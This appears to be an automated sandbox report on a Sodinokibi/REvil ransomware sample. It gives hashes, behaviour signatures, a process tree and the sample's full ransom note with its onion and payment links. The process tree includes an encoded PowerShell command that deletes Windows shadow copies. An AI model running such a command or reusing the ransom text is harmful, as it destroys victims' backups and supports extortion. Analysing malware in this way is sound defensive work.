Overview

overview

10

Static

static

10

a28e23ad40...7f.exe

windows7_x64

10

a28e23ad40...7f.exe

windows10_x64

10

Analysis

  • max time kernel
    144s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24/01/2022, 01:26

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General

  • Target
    a28e23ad4033341694551d6f59737138de9f1997384da5ae9a1642cc8c9e237f.exe
  • Size 116KB
  • Sample220124-btjthaheg2
  • SHA256 a28e23ad4033341694551d6f59737138de9f1997384da5ae9a1642cc8c9e237f
  • MD5 SHA1 SHA512
Score
10/10
sodinokibipersistenceransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\ko665-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ko665. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/59B1DB071E79C2A5 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/59B1DB071E79C2A5 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: lzW7gggLq3LBFW12CMv4Dx88irgZstjWCBiJGxdgfH8v3p8Z4b7+du3Wq3XRXypu SHjclxENu7OqDgNfp+TkGa2bymeFVHP4vvwJvX5Mz/j88Rb/2/vKuXB5mPTCuqOd dlyO9q9OyN6skItsYGxWwObeX8t6ek2l+S8SfSnk9zPBJ07jKaG183/xnBRNerRV 6SAZ1qngmOZ2J0SjLD0j/c3Es6rGIo46iOMfP+pOEqiYW3z6E6tb5h7++skkuO+4 veZw64VqftubGbptWfYfRlsR2q/Wv+7EQ1BDvi/DYciydFPBaTGNg0PBGoKcrvd3 HofsXnJrSgoPvPdl15rNewnoFP6zTNKT/gQtrwMl67GQy7XEuSdcHom8e151dpGJ yxEcJ+QjIq30WfJJlCVbVtAAqz0bxg+CWk3eGCGN29yF1/NYPTt639vk36lJoyzd SqpEGkGC1PV3Hf5TLwxHGZLJmQRlIivmNndClGqJJTQNwcNg39Pfj3WhlDQKx5DV UFDUfv8AlkyfF5Qcy/8ijRrwS/+FfXc7QS8D8fe8jqorr453Jc4TG5DmuH5lezR4 b4J/Wf/GVKjI8bRNbMVNUbIvZSK5I3IJxCNgzmDkKYi3soaRHSaXCOqgxW3VcKo2 jUwthpyMA210k94A1nT3DvRhnP4m6Y/45lwKmT+SuG6DJHRQ0t7P+1wqJ8Go9XtM a/mAYQsXwGyOUPMA3bK3YhYJZ5fOIwGf8dvQqxNhTgEqmtIZ8o1uhPzcbknpak89 TC81a4mC+evSqlLaeMoVUshard+Og3pj7TsovYP91GCR1m0vzgB0ar6WONHPBp8S f7JHM5915e5YAO5TokG/nsHb/6sOxpW3C0G6h/kjKJsX+1hVhvaQhOQ6RBqGCMtY +LDkhQt9ewRithfDOcuVbEkOfOn8Xo47u2eHGece6ZZV3nMy69o7xPeyn9Ah+BWw NyWzUeA5i+Jv1DAb+RuszYbo/NlkXmMhZpv1EddEQkLcElH9PmaKRVxh69pwnbda R3hzP/pT4qtTLvCSPcLz/pVQ23meiaJB2VVhU4GX0pDzngGsRSjc8XxYFhHNVFAo 9btz7bl6/ANvZwoV6d3DJaJebHhZoyJFm8Z/mUntdgfmzrLL9Ej2IcVibql3yxbs A8arYb4jho2fAtT1m5zMop1R4+wYWNq3Np4CvzdHQ6FsmVjYPQhPFRDrxG+DCoLm YMlv7AobxHLLZJwipbMaezxYbrLmgdv1SDkxkG55P/rXjd5gI6+Ew7Kj6ratpCf+ XStdNpS6XosupLaQH2ABU/KUg7y4WQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/59B1DB071E79C2A5

  • http://decryptor.cc/59B1DB071E79C2A5

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 63 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 30 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a28e23ad4033341694551d6f59737138de9f1997384da5ae9a1642cc8c9e237f.exe
    "C:\Users\Admin\AppData\Local\Temp\a28e23ad4033341694551d6f59737138de9f1997384da5ae9a1642cc8c9e237f.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:896
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1524
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1256
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1200 -s 3016
      1⤵
      • Program crash
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1000

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/896-55-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp
          Download

          memory/896-57-0x0000000002800000-0x0000000002802000-memory.dmp
          Download

          memory/896-58-0x0000000002802000-0x0000000002804000-memory.dmp
          Download

          memory/896-59-0x0000000002804000-0x0000000002807000-memory.dmp
          Download

          memory/896-56-0x000007FEF2D90000-0x000007FEF38ED000-memory.dmp
          Download

          memory/896-60-0x000000000280B000-0x000000000282A000-memory.dmp
          Download

          memory/1000-64-0x0000000000460000-0x0000000000461000-memory.dmp
          Download

          memory/1692-54-0x0000000075B51000-0x0000000075B53000-memory.dmp
          Download